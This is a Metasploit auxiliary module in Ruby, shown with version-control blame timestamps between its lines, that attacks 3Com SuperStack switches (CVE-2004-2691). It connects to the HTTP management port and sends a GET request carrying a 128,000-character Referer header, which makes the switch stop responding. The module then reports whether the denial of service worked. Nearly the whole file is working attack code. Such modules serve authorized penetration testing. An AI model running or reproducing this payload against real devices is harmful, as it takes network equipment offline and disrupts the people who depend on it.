2009-07-01 03:57:04 +00:00
|
|
|
##
|
2017-07-24 13:26:21 +00:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2009-07-01 03:57:04 +00:00
|
|
|
##
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Auxiliary
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
include Msf::Auxiliary::Dos
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => '3Com SuperStack Switch Denial of Service',
|
|
|
|
'Description' => %q{
|
|
|
|
This module causes a temporary denial of service condition
|
|
|
|
against 3Com SuperStack switches. By sending excessive data
|
|
|
|
to the HTTP Management interface, the switch stops responding
|
|
|
|
temporarily. The device does not reset. Tested successfully
|
|
|
|
against a 3300SM firmware v2.66. Reported to affect versions
|
|
|
|
prior to v2.72.
|
|
|
|
},
|
|
|
|
'Author' => [ 'patrick' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
# patrickw - I am not sure if these are correct, but the closest match!
|
2016-07-15 17:00:31 +00:00
|
|
|
[ 'OSVDB', '7246' ],
|
2013-08-30 21:28:54 +00:00
|
|
|
[ 'CVE', '2004-2691' ],
|
|
|
|
[ 'URL', 'http://support.3com.com/infodeli/tools/switches/dna1695-0aaa17.pdf' ],
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Jun 24 2004'))
|
|
|
|
|
2017-05-03 20:42:21 +00:00
|
|
|
register_options( [ Opt::RPORT(80) ])
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
begin
|
|
|
|
connect
|
|
|
|
print_status("Sending DoS packet to #{rhost}:#{rport}")
|
|
|
|
|
|
|
|
sploit = "GET / HTTP/1.0\r\n"
|
|
|
|
sploit << "Referer: " + Rex::Text.rand_text_alpha(1) * 128000
|
|
|
|
|
|
|
|
sock.put(sploit +"\r\n\r\n")
|
|
|
|
disconnect
|
2017-07-19 11:48:52 +00:00
|
|
|
print_error("DoS packet unsuccessful")
|
2013-08-30 21:28:54 +00:00
|
|
|
rescue ::Rex::ConnectionRefused
|
2017-07-19 11:48:52 +00:00
|
|
|
print_error("Unable to connect to #{rhost}:#{rport}")
|
2013-08-30 21:28:54 +00:00
|
|
|
rescue ::Errno::ECONNRESET
|
2017-07-19 11:48:52 +00:00
|
|
|
print_good("DoS packet successful. #{rhost} not responding.")
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
end
|